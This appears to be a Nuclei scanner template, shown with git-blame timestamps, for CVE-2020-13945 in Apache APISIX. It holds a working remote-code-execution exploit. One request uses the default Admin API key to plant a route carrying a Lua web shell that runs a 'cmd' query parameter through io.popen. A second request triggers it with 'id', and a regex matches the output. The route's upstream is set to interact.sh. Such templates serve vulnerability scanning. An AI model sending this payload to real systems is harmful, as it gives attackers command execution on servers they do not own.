2022-01-16 16:38:55 +00:00
id : CVE-2020-13945
info :
name : Apache APISIX's Admin API Default Access Token (RCE)
author : pdteam
2022-01-16 16:40:51 +00:00
severity : medium
2022-05-17 09:18:12 +00:00
description : In Apache APISIX, the user enabled the Admin API and deleted the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. This affects versions 1.2, 1.3, 1.4, 1.5.
2022-01-16 16:38:55 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
2022-01-16 16:40:51 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.5
2022-01-16 16:40:51 +00:00
cve-id : CVE-2020-13945
2022-04-22 10:38:41 +00:00
tags : cve,cve2020,apache,apisix,rce,intrusive
2022-01-16 16:38:55 +00:00
requests :
- raw :
- |
POST /apisix/admin/routes HTTP/1.1
Host : {{Hostname}}
X-API-KEY : edd1c9f034335f136f87ad84b625c8f1
Content-Type : application/json
{
"uri" : "/{{randstr}}" ,
"script" : "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M" ,
"upstream" : {
"type" : "roundrobin" ,
"nodes" : {
2022-06-06 10:40:15 +00:00
"interact.sh:80" : 1
2022-01-16 16:38:55 +00:00
}
}
}
- |
GET /{{randstr}}?cmd=id HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
words :
- '"action":"create"'
- '"script":'
- '"node":'
condition : and
- type : status
status :
- 201
extractors :
- type : regex
regex :
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"